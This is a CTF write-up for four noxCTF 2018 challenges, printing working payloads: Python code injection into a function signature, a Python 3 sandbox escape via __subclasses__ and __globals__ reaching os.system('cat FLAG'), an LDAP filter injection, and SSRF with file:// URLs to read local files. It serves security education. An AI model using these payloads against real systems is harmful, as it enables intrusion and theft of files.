noxCTF 2018 - Write-ups - Part 1

Information#

CTF#

292 - Python for fun - Misc#

Welcome to noxale's online python class!!! You can try it for free for a limited time and learn basic programming in python 3. http://chal.noxale.com:8000

On http://chal.noxale.com:8000/match_signature_to_body there is a function definition like def fun() where we can pass two arguments, that are interpreted.

The form is like that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
        <form action="/match_signature_to_body" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='OTNDzFTNnUsskr7gZ7YYCL7u2AkG3PXWR7WJ1xEgtvQelJDzSs1rTaCieFMdj8eN' />
<div class="row">
<div class="col s12">
def fun(
<div class="input-field inline">
<input type="text" name="answer" required id="id_answer" />
</div>
):
</div>
</div>
<pre><code class="python">
c = a + b
return c
</code></pre>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>

This is the only page we can exploit because other pages are just a multiple value form like this one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        <form action="/fix_the_code" method="post">
<input type='hidden' name='csrfmiddlewaretoken' value='q0z6g07MYz6yA4TnZIEDGfaI5r42BWXTteIcISSf4aukBmpGS3H6XEFwhwwzRfeK' />
<div>
<p>
<label>
<input type="radio" name="answer" value="0" id="id_answer_0" required />
<span>b -= 15</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="1" id="id_answer_1" required />
<span>a += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="2" id="id_answer_2" required />
<span>b += 25</span>
</label>
</p>
<p>
<label>
<input type="radio" name="answer" value="3" id="id_answer_3" required />
<span>a += 15</span>
</label>
</p>
</div>
<button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
</form>

So match signature to body is the only exercise where user input is taken.

The legitimate answer is a,b.

But we can try to inject a default value to some parameters a,b=dir()[0].

It's still valid.

Now try to display something if we want to leak the flag: a,b=print("toto").

This is not a good answer anymore but this is evaluated and it displays toto:

Nice now we try to leak some stuff:

1
a,b=print(exec("import os"),eval("os.listdir('.')"))
1
None ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']

1
a,b=print(open("FLAG", "r").read())

Flag is: noxCTF{py7h0n_15_4w350m3}

634 - Python for fun 2 - Misc#

A hacker found a sec hole in our online python class :( He read our secret file which contains the secret way of milking a snake! After hunting him down, we fixed the hole so no one will ever milk a snake again http://chal.noxale.com:8001

If we try our payloads from Python for fun 1 we get an error Illegal use! (open) or Illegal use! (exec). There must be a blacklist now.

Let's craft a payload to bypass the blacklist.

Create a string class (also works with list or dict)

1
2
>>> ''.__class__
<class 'str'>

Now we need the parent class, there is two ways:

1
2
3
4
5
6
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>

Now we have the object class. So we can access to all the child classes:

1
2
>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]

Let's find a more suitable way to access the subclasses by index:

1
2
3
>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... print(i,': ',val)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
0 :  <class 'type'>
1 : <class 'weakref'>
2 : <class 'weakcallableproxy'>
3 : <class 'weakproxy'>
4 : <class 'int'>
5 : <class 'bytearray'>
6 : <class 'bytes'>
7 : <class 'list'>
8 : <class 'NoneType'>
9 : <class 'NotImplementedType'>
10 : <class 'traceback'>
11 : <class 'super'>
12 : <class 'range'>
13 : <class 'dict'>
14 : <class 'dict_keys'>
15 : <class 'dict_values'>
16 : <class 'dict_items'>
17 : <class 'odict_iterator'>
18 : <class 'set'>
19 : <class 'str'>
20 : <class 'slice'>
21 : <class 'staticmethod'>
22 : <class 'complex'>
23 : <class 'float'>
24 : <class 'frozenset'>
25 : <class 'property'>
26 : <class 'managedbuffer'>
27 : <class 'memoryview'>
28 : <class 'tuple'>
29 : <class 'enumerate'>
30 : <class 'reversed'>
31 : <class 'stderrprinter'>
32 : <class 'code'>
33 : <class 'frame'>
34 : <class 'builtin_function_or_method'>
35 : <class 'method'>
36 : <class 'function'>
37 : <class 'mappingproxy'>
38 : <class 'generator'>
39 : <class 'getset_descriptor'>
40 : <class 'wrapper_descriptor'>
41 : <class 'method-wrapper'>
42 : <class 'ellipsis'>
43 : <class 'member_descriptor'>
44 : <class 'types.SimpleNamespace'>
45 : <class 'PyCapsule'>
46 : <class 'longrange_iterator'>
47 : <class 'cell'>
48 : <class 'instancemethod'>
49 : <class 'classmethod_descriptor'>
50 : <class 'method_descriptor'>
51 : <class 'callable_iterator'>
52 : <class 'iterator'>
53 : <class 'coroutine'>
54 : <class 'coroutine_wrapper'>
55 : <class 'moduledef'>
56 : <class 'module'>
57 : <class 'EncodingMap'>
58 : <class 'fieldnameiterator'>
59 : <class 'formatteriterator'>
60 : <class 'filter'>
61 : <class 'map'>
62 : <class 'zip'>
63 : <class 'BaseException'>
64 : <class 'hamt'>
65 : <class 'hamt_array_node'>
66 : <class 'hamt_bitmap_node'>
67 : <class 'hamt_collision_node'>
68 : <class 'keys'>
69 : <class 'values'>
70 : <class 'items'>
71 : <class 'Context'>
72 : <class 'ContextVar'>
73 : <class 'Token'>
74 : <class 'Token.MISSING'>
75 : <class '_frozen_importlib._ModuleLock'>
76 : <class '_frozen_importlib._DummyModuleLock'>
77 : <class '_frozen_importlib._ModuleLockManager'>
78 : <class '_frozen_importlib._installed_safely'>
79 : <class '_frozen_importlib.ModuleSpec'>
80 : <class '_frozen_importlib.BuiltinImporter'>
81 : <class 'classmethod'>
82 : <class '_frozen_importlib.FrozenImporter'>
83 : <class '_frozen_importlib._ImportLockContext'>
84 : <class '_thread._localdummy'>
85 : <class '_thread._local'>
86 : <class '_thread.lock'>
87 : <class '_thread.RLock'>
88 : <class 'zipimport.zipimporter'>
89 : <class '_frozen_importlib_external.WindowsRegistryFinder'>
90 : <class '_frozen_importlib_external._LoaderBasics'>
91 : <class '_frozen_importlib_external.FileLoader'>
92 : <class '_frozen_importlib_external._NamespacePath'>
93 : <class '_frozen_importlib_external._NamespaceLoader'>
94 : <class '_frozen_importlib_external.PathFinder'>
95 : <class '_frozen_importlib_external.FileFinder'>
96 : <class '_io._IOBase'>
97 : <class '_io._BytesIOBuffer'>
98 : <class '_io.IncrementalNewlineDecoder'>
99 : <class 'posix.ScandirIterator'>
100 : <class 'posix.DirEntry'>
101 : <class 'codecs.Codec'>
102 : <class 'codecs.IncrementalEncoder'>
103 : <class 'codecs.IncrementalDecoder'>
104 : <class 'codecs.StreamReaderWriter'>
105 : <class 'codecs.StreamRecoder'>
106 : <class '_abc_data'>
107 : <class 'abc.ABC'>
108 : <class 'dict_itemiterator'>
109 : <class 'collections.abc.Hashable'>
110 : <class 'collections.abc.Awaitable'>
111 : <class 'collections.abc.AsyncIterable'>
112 : <class 'async_generator'>
113 : <class 'collections.abc.Iterable'>
114 : <class 'bytes_iterator'>
115 : <class 'bytearray_iterator'>
116 : <class 'dict_keyiterator'>
117 : <class 'dict_valueiterator'>
118 : <class 'list_iterator'>
119 : <class 'list_reverseiterator'>
120 : <class 'range_iterator'>
121 : <class 'set_iterator'>
122 : <class 'str_iterator'>
123 : <class 'tuple_iterator'>
124 : <class 'collections.abc.Sized'>
125 : <class 'collections.abc.Container'>
126 : <class 'collections.abc.Callable'>
127 : <class 'os._wrap_close'>
128 : <class '_sitebuiltins.Quitter'>
129 : <class '_sitebuiltins._Printer'>
130 : <class '_sitebuiltins._Helper'>
131 : <class 'types.DynamicClassAttribute'>
132 : <class 'types._GeneratorWrapper'>
133 : <class 'warnings.WarningMessage'>
134 : <class 'warnings.catch_warnings'>
135 : <class 'importlib.abc.Finder'>
136 : <class 'importlib.abc.Loader'>
137 : <class 'importlib.abc.ResourceReader'>
138 : <class 'operator.itemgetter'>
139 : <class 'operator.attrgetter'>
140 : <class 'operator.methodcaller'>
141 : <class 'itertools.accumulate'>
142 : <class 'itertools.combinations'>
143 : <class 'itertools.combinations_with_replacement'>
144 : <class 'itertools.cycle'>
145 : <class 'itertools.dropwhile'>
146 : <class 'itertools.takewhile'>
147 : <class 'itertools.islice'>
148 : <class 'itertools.starmap'>
149 : <class 'itertools.chain'>
150 : <class 'itertools.compress'>
151 : <class 'itertools.filterfalse'>
152 : <class 'itertools.count'>
153 : <class 'itertools.zip_longest'>
154 : <class 'itertools.permutations'>
155 : <class 'itertools.product'>
156 : <class 'itertools.repeat'>
157 : <class 'itertools.groupby'>
158 : <class 'itertools._grouper'>
159 : <class 'itertools._tee'>
160 : <class 'itertools._tee_dataobject'>
161 : <class 'reprlib.Repr'>
162 : <class 'collections.deque'>
163 : <class '_collections._deque_iterator'>
164 : <class '_collections._deque_reverse_iterator'>
165 : <class 'collections._Link'>
166 : <class 'functools.partial'>
167 : <class 'functools._lru_cache_wrapper'>
168 : <class 'functools.partialmethod'>
169 : <class 'contextlib.ContextDecorator'>
170 : <class 'contextlib._GeneratorContextManagerBase'>
171 : <class 'contextlib._BaseExitStack'>
172 : <class 'rlcompleter.Completer'>

In python2 we could call some dangerous class from here but in python3 this is a little more complex.

I find a pyjail WU where someone was able to call sys from codecs.StreamReaderWriter class.

1
2
''.__class__.__mro__[1].__subclasses__()[104]
<class 'codecs.StreamReaderWriter'>

Using __init__ to initialize the class and __globals__ to access the global namespace of the module in which the function was defined.

A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.

cf. https://docs.python.org/3/reference/datamodel.html

So from this namespace we are able to call sys.

1
2
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>

Then it's easy to import os:

1
2
>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/os.py'>

And finally using system method to launch a system command and read the flag:

1
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

Flag is noxCTF{py7h0n_15_6r347}.

902 - Dictionary of obscure sorrows - Web#

There are a lot of obscure sorrows in our world.

Your job is not to find those that are plain in sight;

You need to seek further, look deeper.

Find the word that can not be written.

The most obscure sorrow of them all.

http://54.152.220.222/

Disclosure: I flaged it after the end of the CTF

If we change a real page name (ex: Sonder) with s* this is still displaying the right page:

But requesting http://54.152.220.222/word.php?page=b* returns me an error message Query returned empty so I knew there was an LDAP injection.

Now we need to know the params to inject.

By requesting the page http://54.152.220.222/word.php without a parameter I got the following error Missing RDN inside ObjectClass(document).

So we know ObjectClass is document.

Let's find the attributes of document on https://oav.net/mirrors/LDAP-ObjectClasses.html

document objectclass have these attributes:

  • commonName
  • description
  • seeAlso
  • l
  • o
  • ou
  • documentTitle
  • documentVersion
  • documentAuthor
  • documentLocation
  • documentPublisher

Looking at the template there is the title displayed and a description.

Also we know the flag format is noxCTF{}.

So let's try to find an object where the description attribute begin with nox.

By requesting http://54.152.220.222/word.php?page=*)(description=nox* I got the flag noxCTF{K1NG_0F_LD4P}.

670 - hiddenDOM - Web#

I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?

http://chal.noxale.com:5588

Disclosure: I flaged it after the end of the CTF

I first checked the source code where I found obfuscated javascript.

1
var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])

I did a first pass of deobfuscation with http://jsnice.org/

1
2
3
4
5
6
7
8
'use strict';
/** @type {!Array} */
var _0x3bc3 = ["main_form", "getElementById", "input", "createElement", "name", "expression", "setAttribute", "type", "text", "placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"];
var _frss = document[_0x3bc3[1]](_0x3bc3[0]);
var _xEger = document[_0x3bc3[3]](_0x3bc3[2]);
_xEger[_0x3bc3[6]](_0x3bc3[4], _0x3bc3[5]);
_xEger[_0x3bc3[6]](_0x3bc3[7], _0x3bc3[8]);
_xEger[_0x3bc3[6]](_0x3bc3[9], _0x3bc3[10]);

And did a second pass manually:

1
2
3
4
5
var _frss = document["getElementById"]("main_form"); /* <form id="main_form" action="index.php" style="position:sticky;"> */
var _xEger = document["createElement"]("input"); /* <input> */
_xEger["setAttribute"]("name", "expression"); /* <input name="expression"> */
_xEger["setAttribute"]("type", "text"); /* <input name="expression" type="text"> */
_xEger["setAttribute"]("placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"); /* <input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text"> */

So the javascript is creating those two HTML elements:

1
2
<form id="main_form" action="index.php" style="position:sticky;">
<input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text">

So we can see an extra parameter expression is used.

Also there is somewhere in the source code:

1
<a href='/var/www/html/flag.txt' hidden >-_-</a>

So we know where we have to look for the flag.

Targeting the page itself http://chal.noxale.com:5588/index.php?target=http://chal.noxale.com:5588/index.php is revealing us a new obfuscated javascript block.

After jsnice:

1
2
3
4
5
6
7
8
9
10
11
12
13
'use strict';
/** @type {!Array} */
var _0x2b80 = ["slow", "fadeOut", "#hidden_elements", "click", "#hideArea", "ready", "fadeIn", "#showArea"];
$(document)[_0x2b80[5]](function() {
$(_0x2b80[4])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[1]](_0x2b80[0]);
});
});
$(document)[_0x2b80[5]](function() {
$(_0x2b80[7])[_0x2b80[3]](function() {
$(_0x2b80[2])[_0x2b80[6]](_0x2b80[0]);
});
});

After manual deobfuscation:

1
2
3
4
5
6
7
8
9
10
$(document)["ready"](function() {
$("#hideArea")["click"](function() {
$("#hidden_elements")["fadeOut"]("slow");
});
});
$(document)["ready"](function() {
$("#showArea")["click"](function() {
$("#hidden_elements")["fadeIn"]("slow");
});
});

This is just the code for toggling the hidden area. It's useless for us.

We can also target trhe localhost: http://chal.noxale.com:5588/index.php?target=http://127.0.0.1 so we know we are looking for a SSRF.

Targeting file://etc/passwd is working, but as long as there is no line with hidden inside, it won't display anything. Because the regex on server side is displaying only lines matching /<[^<>]{1,}hidden[^<>]{1,}>/ as we saw during the deobfuscation.

So let's use an expression like /nox.*/ to show the flag: http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/nox.*/

The flag is noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}.

Share